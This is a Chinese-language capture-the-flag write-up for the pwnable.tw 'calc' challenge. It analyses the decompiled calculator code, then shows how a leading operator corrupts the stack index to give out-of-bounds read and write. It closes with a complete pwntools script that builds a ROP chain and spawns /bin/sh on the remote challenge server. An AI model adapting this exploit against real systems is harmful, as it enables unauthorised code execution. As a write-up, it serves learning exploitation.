---
# System prepended metadata

title: pwnable.tw-calc

---

# pwnable.tw-calc
> Author: 堇姬Naup

## code analyze
### call calc
這邊呼叫了calc
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(14, timeout);
  alarm(60);
  puts("=== Welcome to SECPROG calculator ===");
  fflush(stdout);
  calc();
  return puts("Merry Christmas!");
}
```

### calc
```c
unsigned int calc()
{
  int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
  char user_input[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
  unsigned int v3; // [esp+5ACh] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(user_input, 1024);
    if ( !get_expr((int)user_input, 1024) )
      break;
    init_pool(pool);
    if ( parse_expr(user_input, pool) )
    {
      printf("%d\n", pool[pool[0]]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v3;
}
```
首先呼叫了bzero(user_input, 1024);
將user_input設為0

最後輸出printf("%d\n", pool[pool[0]]);


### get_expr
```c
int __cdecl get_expr(int user_input, int num_1024)
{
  int idx; // eax
  char input_char; // [esp+1Bh] [ebp-Dh] BYREF
  int cnt; // [esp+1Ch] [ebp-Ch]

  cnt = 0;
  while ( cnt < num_1024 && read(0, &input_char, 1) != -1 && input_char != 10 )
  {
    if ( input_char == 43
      || input_char == 45
      || input_char == 42
      || input_char == 47
      || input_char == 37
      || input_char > 47 && input_char <= 57 )
    {
      idx = cnt++;
      *(_BYTE *)(user_input + idx) = input_char;
    }
  }
  *(_BYTE *)(cnt + user_input) = 0;
  return cnt;
}
```
這部分判斷是不是加減乘除取餘及0~9，是就存進去，最後補0

user_input -> esp+0x1AC
```
pwndbg> x/10xg 0xffffc830+0x1AC
0xffffc9dc:	0x0000000000322b32	0x0000000000000000
0xffffc9ec:	0x0000000000000000	0x0000000000000000
```

### init_pool
```c
_DWORD *__cdecl init_pool(_DWORD *pool)
{
  _DWORD *result; // eax
  int i; // [esp+Ch] [ebp-4h]

  result = pool;
  *pool = 0;
  for ( i = 0; i <= 99; ++i )
  {
    result = pool;
    pool[i + 1] = 0;
  }
  return result;
}
```
將pool清空

### parse_expr
```c
int __cdecl parse_expr(int user_input, _DWORD *pool)
{
  int pool_idx; // eax
  int user_input_ptr; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int Operator_array_idx; // [esp+28h] [ebp-80h]
  int part_user_input_size; // [esp+2Ch] [ebp-7Ch]
  char *part_user_input; // [esp+30h] [ebp-78h]
  int int_part_user_input; // [esp+34h] [ebp-74h]
  char Operator_array[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int stack_canary; // [esp+9Ch] [ebp-Ch]

  stack_canary = __readgsdword(0x14u);
  user_input_ptr = user_input;
  Operator_array_idx = 0;
  bzero((int)Operator_array, 100);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + user_input) - 48) > 9 )
    {
      part_user_input_size = i + user_input - user_input_ptr;
      part_user_input = (char *)malloc(part_user_input_size + 1);
      memcpy(part_user_input, user_input_ptr, part_user_input_size);
      part_user_input[part_user_input_size] = 0;
      if ( !strcmp(part_user_input, &unk_80BF7A8) )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      int_part_user_input = atoi(part_user_input);
      if ( int_part_user_input > 0 )
      {
        pool_idx = (*pool)++;
        pool[pool_idx + 1] = int_part_user_input;
      }
      if ( *(_BYTE *)(i + user_input) && (unsigned int)(*(char *)(i + 1 + user_input) - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      user_input_ptr = i + 1 + user_input;
      if ( Operator_array[Operator_array_idx] )
      {
        switch ( *(_BYTE *)(i + user_input) )
        {
          case '%':
          case '*':
          case '/':
            if ( Operator_array[Operator_array_idx] != 43 && Operator_array[Operator_array_idx] != 45 )
              goto LABEL_14;
            Operator_array[++Operator_array_idx] = *(_BYTE *)(i + user_input);
            break;
          case '+':
          case '-':
LABEL_14:
            eval(pool, Operator_array[Operator_array_idx]);
            Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input);
            break;
          default:
            eval(pool, Operator_array[Operator_array_idx--]);
            break;
        }
      }
      else
      {
        Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input);
      }
      if ( !*(_BYTE *)(i + user_input) )
        break;
    }
  }
  while ( Operator_array_idx >= 0 )
    eval(pool, Operator_array[Operator_array_idx--]);
  return 1;
}
```

首先是變數初始化，接下來進到
```c
for (i = 0; ; ++i)
{
    if ((unsigned int)(*(char *)(i + user_input) - 48) > 9)
    {
        ...
    }
}
```
循環直到碰到0

```c
part_user_input_size = i + user_input - user_input_ptr;
part_user_input = (char *)malloc(part_user_input_size + 1);
memcpy(part_user_input, user_input_ptr, part_user_input_size);
part_user_input[part_user_input_size] = 0;
```
這部分計算長度，並將切出來的部分存入chunk中

```c
if (!strcmp(part_user_input, &unk_80BF7A8))
{
    puts("prevent division by zero");
    fflush(stdout);
    return 0;
}
```
這部分防止除以0

```c
int_part_user_input = atoi(part_user_input);
if (int_part_user_input > 0)
{
    pool_idx = (*pool)++;
    pool[pool_idx + 1] = int_part_user_input;
}

```
將字串符轉數字，並存入pool
pool[0] = pool.size()
接下來就是要做操作的數字
根據user input先把第一個數字放到pool[1]

接下來會判斷Operator_array是否有值
若沒值則去抓值
有值則進入運算

```c
      user_input_ptr = i + 1 + user_input;
      if ( Operator_array[Operator_array_idx] )
      {
        switch ( *(_BYTE *)(i + user_input) )
        {
          case '%':
          case '*':
          case '/':
            if ( Operator_array[Operator_array_idx] != 43 && Operator_array[Operator_array_idx] != 45 )
              goto LABEL_14;
            Operator_array[++Operator_array_idx] = *(_BYTE *)(i + user_input);
            break;
          case '+':
          case '-':
LABEL_14:
            eval(pool, Operator_array[Operator_array_idx]);
            Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input);
            break;
          default:
            eval(pool, Operator_array[Operator_array_idx--]);
            break;
        }
      }
      else
      {
        Operator_array[Operator_array_idx] = *(_BYTE *)(i + user_input);
      }
      if ( !*(_BYTE *)(i + user_input) )
        break;
    }
```

### eval
```c
_DWORD *__cdecl eval(_DWORD *pool, char Operator)
{
  _DWORD *result; // eax

  if ( Operator == 43 )
  {
    pool[*pool - 1] += pool[*pool];
  }
  else if ( Operator > 43 )
  {
    if ( Operator == 45 )
    {
      pool[*pool - 1] -= pool[*pool];
    }
    else if ( Operator == 47 )
    {
      pool[*pool - 1] /= (int)pool[*pool];
    }
  }
  else if ( Operator == 42 )
  {
    pool[*pool - 1] *= pool[*pool];
  }
  result = pool;
  --*pool;
  return result;
}
```
這就是抓當前長度跟當前長度-1的索引做運算

## 分析
他有限制符號不能接符號，但他看起來預期的輸入會是
```
數字 符號 數字 符號...
```
若我們先輸入符號呢

### 狀況A
> +5

pool=[1,5]

Operation=['+']

pool[*pool - 1] = pool[*pool - 1] + pool[*pool]

pool[0] = pool[0] + 5

pool[0] = 6

-\-*pool;

pool[0] = 5

printf("%d\n", pool[pool[0]]) = pool[5]

這樣子就oob read了

### 狀況B
> +399+1234

pool=[1,399]

Operation=['+']

第一輪
pool[*pool - 1] = pool[*pool - 1] + pool[*pool]

pool[0] = pool[0] + 399

pool[0] = 400

第二輪

pool=[400,399,0,...,0,1234]

Operation=['+']

*pool = *pool + 1

pool[*pool + 1 - 1] = pool[*pool + 1 - 1] + pool[*pool + 1]

pool[400] = pool[400] + 1234

-\-*pool

pool[0] = 399

這樣就oob write了

```
naup@naup-virtual-machine:~/Desktop/pwn/pwnable/calc$ ./calc 
=== Welcome to SECPROG calculator ===
+400
-3405332
+399+1234
1234
+400
1234
```

## 如何RCE
static，串ROP就可以了
|gadget|address|
|------|-------|
|pop eax ; ret|0x0805c34b |
|pop edx ; pop ecx ; pop ebx ; ret|0x080701d0|
|int 0x80|0x08049a21|


pool在ebp-0x5A0

```
>>> (0x5a0+0x4)//4
361
```

save ebp在pool[360]
ret address在pool[361]

接下來就直接串

## exploit
```python
from pwn import *
from NAUP_pwn_lib import *
import time

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

context(arch = 'i386', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./calc')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc chall.pwnable.tw 10100")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

#p_c(r,'b *0x0804940a')
### exploit

sla(b"\n",b"+360")
main_ebp = int(rcl().strip())
NAUPINFO('EBP',hex(main_ebp))

pop_eax = 0x0805c34b
pop_edx_ecx_ebx = 0x080701d0
syscall = 0x08049a21

ROPchain = [pop_eax, 0x0b, 
            pop_edx_ecx_ebx, 0x0, 0x0, main_ebp+0x8, 
            syscall,
            0x0,0x0, 
            u32("/bin"), u32("/sh\0")
]

offset = 361

for i in ROPchain:
    payload = '+' + str(offset)
    sl(payload)
    a = i - int(r.recv())
    if a >= 0:
        payload += '+' + str(a)
    else:
        payload += str(a)
    sl(payload)
    
    r.recv()
    offset += 1

###
ita()

```